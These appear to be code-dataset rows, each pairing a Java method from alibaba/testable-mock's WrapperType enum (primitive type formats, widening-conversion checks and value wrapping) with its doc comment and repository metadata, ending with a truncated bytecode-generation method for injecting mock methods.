// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void? | Format::isIntegral | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void?
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
/** Is the wrapped type one of int, boolean, byte, char, or short? | Format::isSubwordOrInt | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isSigned() { return format < Format.VOID; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void?
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
/** Is the wrapped type one of int, boolean, byte, char, or short?
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); }
/* Is the wrapped value a signed integral type (one of byte, short, int, or long)? | Format::isSigned | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void?
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
/** Is the wrapped type one of int, boolean, byte, char, or short?
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); }
/* Is the wrapped value a signed integral type (one of byte, short, int, or long)?
public boolean isSigned() { return format < Format.VOID; }
/* Is the wrapped value an unsigned integral type (one of boolean or char)? | Format::isUnsigned | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isFloating() { return format >= Format.FLOAT; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void?
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
/** Is the wrapped type one of int, boolean, byte, char, or short?
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); }
/* Is the wrapped value a signed integral type (one of byte, short, int, or long)?
public boolean isSigned() { return format < Format.VOID; }
/* Is the wrapped value an unsigned integral type (one of boolean or char)?
public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; }
/** Is the wrapped type either float or double? | Format::isFloating | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isOther() { return (format & ~Format.SLOT_MASK) == 0; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)?
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
/** Is the wrapped type a primitive other than float, double, or void?
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
/** Is the wrapped type one of int, boolean, byte, char, or short?
public boolean isSubwordOrInt() { return isIntegral() && isSingleWord(); }
/* Is the wrapped value a signed integral type (one of byte, short, int, or long)?
public boolean isSigned() { return format < Format.VOID; }
/* Is the wrapped value an unsigned integral type (one of boolean or char)?
public boolean isUnsigned() { return format >= Format.BOOLEAN && format < Format.FLOAT; }
/** Is the wrapped type either float or double?
public boolean isFloating() { return format >= Format.FLOAT; }
/** Is the wrapped type either void or a reference? | Format::isOther | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isConvertibleFrom(WrapperType source) {
if (this == source) return true;
if (this.compareTo(source) < 0) {
// At best, this is a narrowing conversion.
return false;
}
// All conversions are allowed in the enum order between floats and signed ints.
// First detect non-signed non-float types (boolean, char, Object, void).
boolean floatOrSigned = (((this.format & source.format) & Format.SIGNED) != 0);
if (!floatOrSigned) {
if (this.isOther()) return true;
// can convert char to int or wider, but nothing else
return source.format == Format.CHAR;
// no other conversions are classified as widening
}
// All signed and float conversions in the enum order are widening.
assert(this.isFloating() || this.isSigned());
assert(source.isFloating() || source.isSigned());
return true;
} | Does the JLS 5.1.2 allow a variable of this wrapper's
primitive type to be assigned from a value of the given wrapper's primitive type?
Cases:
<ul>
<li>unboxing followed by widening primitive conversion
<li>any type converted to {@code void} (i.e., dropping a method call's value)
<li>boxing conversion followed by widening reference conversion to {@code Object}
</ul>
These are the cases allowed by MethodHandle.asType.
| Format::isConvertibleFrom | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public Object wrap(Object x) {
// do non-numeric wrappers first
switch (basicTypeChar) {
case 'L': return x;
case 'V': return null;
}
Number xn = numberValue(x);
switch (basicTypeChar) {
case 'I': return xn.intValue();
case 'J': return xn.longValue();
case 'F': return xn.floatValue();
case 'D': return xn.doubleValue();
case 'S': return (short) xn.intValue();
case 'B': return (byte) xn.intValue();
case 'C': return (char) xn.intValue();
case 'Z': return boolValue(xn.byteValue());
}
throw new InternalError("bad wrapper");
} | Wrap a value in this wrapper's type.
Performs standard primitive conversions, including truncation and float conversions.
Performs returns the unchanged reference for {@code OBJECT}.
Returns null for {@code VOID}.
Returns a zero value for a null input.
@throws ClassCastException if this wrapper is numeric and the operand
is not a number, character, boolean, or null
| WrapperType::wrap | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public Object wrap(int x) {
if (basicTypeChar == 'L') return x;
switch (basicTypeChar) {
case 'L': throw new IllegalArgumentException("cannot wrap to object type");
case 'V': return null;
case 'I': return x;
case 'J': return (long) x;
case 'F': return (float) x;
case 'D': return (double) x;
case 'S': return (short) x;
case 'B': return (byte) x;
case 'C': return (char) x;
case 'Z': return boolValue((byte) x);
}
throw new InternalError("bad wrapper");
} | Wrap a value (an int or smaller value) in this wrapper's type.
Performs standard primitive conversions, including truncation and float conversions.
Produces an {@code Integer} for {@code OBJECT}, although the exact type
of the operand is not known.
Returns null for {@code VOID}.
| WrapperType::wrap | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
private void injectInheritedMockMethods(ClassNode cn) {
List<Type> inheritedTypes = new ArrayList<Type>();
AnnotationNode mockContainerAnnotation = AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER);
if (mockContainerAnnotation != null) {
inheritedTypes.addAll(AnnotationUtil.getAnnotationParameter(mockContainerAnnotation, FIELD_INHERITS,
Collections.<Type>emptyList(), List.class));
}
for (Type inheritedType : inheritedTypes) {
String className = inheritedType.getClassName();
ClassNode inheritedClassNode = ClassUtil.getClassNode(className);
if (inheritedClassNode == null) {
throw new IllegalArgumentException("Failed to load class " + className);
}
for (MethodNode mn : inheritedClassNode.methods) {
if (mn.visibleAnnotations == null) {
continue;
}
if (ClassUtil.hasMethod(cn, mn)) {
LogUtil.warn("Method '%s' with same signature already exists in class %s, skipped", mn.name, cn.name);
continue;
}
for (AnnotationNode an : mn.visibleAnnotations) {
if ((ClassUtil.toByteCodeClassName(MOCK_INVOKE)).equals(an.desc)) {
String targetClassName = getTargetClassName(an);
String targetMethod = AnnotationUtil.getAnnotationParameter(an, FIELD_TARGET_METHOD, null, String.class);
String desc = (targetClassName == null) ? mn.desc :
MethodUtil.addParameterAtBegin(mn.desc, ClassUtil.toByteCodeClassName(targetClassName));
String name = (targetMethod == null) ? mn.name : targetMethod;
MethodNode mockMethod = new MethodNode(ACC_PUBLIC, name, desc, null, null);
List<Byte> parameters = MethodUtil.getParameterTypes(mn.desc);
int maxStack = 2;
InsnList il = new InsnList();
il.add(new MethodInsnNode(INVOKESTATIC, ClassUtil.toSlashSeparatedName(className),
GET_TESTABLE_REF, VOID_ARGS + ClassUtil.toByteCodeClassName(className), false));
il.add(new VarInsnNode(ALOAD, 1));
for (int pi = 2; pi < parameters.size() + 2; pi++) {
ImmutablePair<Integer, Integer> codeAndStack = BytecodeUtil.getLoadParameterByteCode(parameters.get(pi - 2));
il.add(new VarInsnNode(codeAndStack.left, pi));
maxStack += codeAndStack.right;
}
il.add(new MethodInsnNode(INVOKEVIRTUAL, ClassUtil.toSlashSeparatedName(className), mn.name, desc, false));
il.add(new InsnNode(ARETURN));
mockMethod.instructions = il;
mockMethod.maxStack = maxStack;
mockMethod.maxLocals = 2 + parameters.size();
mockMethod.visibleAnnotations = fastListOf(new AnnotationNode(ClassUtil.toByteCodeClassName(MOCK_INVOKE)));
cn.methods.add(mockMethod);
